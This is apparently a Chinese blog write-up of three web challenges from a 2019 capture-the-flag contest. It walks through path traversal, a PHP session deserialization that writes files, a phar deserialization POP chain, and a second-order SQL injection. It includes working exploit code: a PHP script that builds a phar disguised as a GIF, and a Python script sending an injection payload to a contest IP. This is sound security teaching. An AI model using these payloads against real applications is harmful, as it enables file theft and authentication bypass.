sky's blog

2019 巅峰极客 Online WriteUp

字数统计: 1,452阅读时长: 7 min
2019/10/19 Share

lol

拿到题目后,发现有一个上传页面:

点进去发现可控参数名较多,但最可疑的还是上传文件位置:

尝试上传一个文件,发现有两个路径,一个是upload,一个是download:

经过测试发现,文件名不是通过filename控制,而是通过phpsessionid控制:

尝试目录穿越,发现upload路径突然变成了绝对路径= =,估计代码哪里出现了问题:

同时访问文件,可以发现文件内容确实有写入:

然后就陷入了沉思,直到题目提示,注意download功能,又经过大量测试发现download功能的下载路径,是拼接了phpsessionid的路径的,于是我们首先创立upload目录:

然后进行任意源码读取:

我们可以通过该方法leak出整个网站的源码。
审计源码,发现可疑类:Cache.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Cache{
public $data;
public $sj;
public $path;
public $html;
function __construct($data){
$this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
$this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
$this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
$this->path=Cache_DIR.DS.session_id().'.php';
}

function __destruct(){
$this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main">![](%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

if(file_put_contents($this->path,$this->html)){
include($this->path);
}
}
}

发现该类有任意文件写的功能,那么思考如何触发反序列化,这里可以用到Jarvis OJ / 2018 LCTF早就考过的考点:

1
2
https://skysec.top/2017/08/16/jarvisoj-web/#PHPINFO
https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge

利用php session引擎的不同,进行反序列化,达成任意文件写入的目的:

最终可以getflag。

upload

打开题目发现有3个功能:

  • 文件下载
  • 文件上传
  • 查看文件
    依次打开,发现查看文件存在任意文件读取:
    1
    /file.php?file=/var/www/html/index.php

通过如上方法拖出所有源码,审计代码,发现文件查看功能使用了类:

那么容易想到phar反序列化,因为file_exists可以触发phar反序列化,于是迅速查找类的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class Show
{
public $source;
public $str;
public function __construct($file)
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}

class Sh0w
{
public $test;
public $str;
public function __construct($name)
{
$this->str = new Show('index.php');
$this->str->source = $this->test;

}
public function __destruct()
{
$this->str->_show();
}
}
?>

一般来说,反序列化的入口都可以从destruct()发起,我们可以看到起调用了一个方法_show(),而这里如果str属性赋值为S6ow的对象,那么就会触发S6ow类的call魔法方法,而当S6ow调用$name变量(_show)时,又会触发其get方法,在get方法中,由于之前访问的不可访问方法,会变为

1
return $this->params['_show'];

那么此时,只要给其赋值为file_get,即可利用echo触发show类的__toString魔法方法:

1
params['_show'] = 'file_get'

最终在show类的__toString魔法方法完成利用:

1
2
3
4
5
6
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}

赋值source为/flag即可,那么可以构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Show
{
public $source;
public $str;
}
class S6ow
{
public $file;
public $params;
}
class Sh0w
{
public $test;
public $str;
}

$sky = new Show();
$sky->source = "/flag";
$sky1 = new S6ow();
$sky1->params['_show'] = 'file_get';
$sky1->file = $sky;
$sky2 = new Sh0w();
$sky2->str = $sky1;
$phar = new Phar('skyfuck.phar');
$phar->startBuffering();
$phar->addFromString('test.php', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($ss);
$phar->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif');

运行脚本后生成skyfuck.gif,上传后,利用file.php的文件读取,使用phar://去访问该文件,最终可以拿到flag:

aweb_1

拿到题目,发现有注册和登录功能,同时提示只有admin才可以拿到flag,那么猜测是一道二次注入的题目,为了测试方便,写了一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
s = requests.session()
url_signup = 'http://47.104.173.173:7002/signup'
url_login = 'http://47.104.173.173:7002/login'
email = '222@3333.com'
payload = "admin'or'dddd'='dddd#"
data = {
'email':email,
'name':payload,
'password':'1'
}
s = requests.post(url=url_signup,data=data)
if 'Email address already exists' in s.content:
print 'Email address already exists.'
elif 'Username already exists.' in s.content:
print 'Username already exists.'
else:
data = {
'email':email,
'password':'1'
}
s = requests.post(url_login,data)
print s.content

发现题目过滤了空格,那么我们构造”万能密码”,也就是闭合admin为恒真条件,即可拿到flag:

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. lol
  2. 2. upload
  3. 3. aweb_1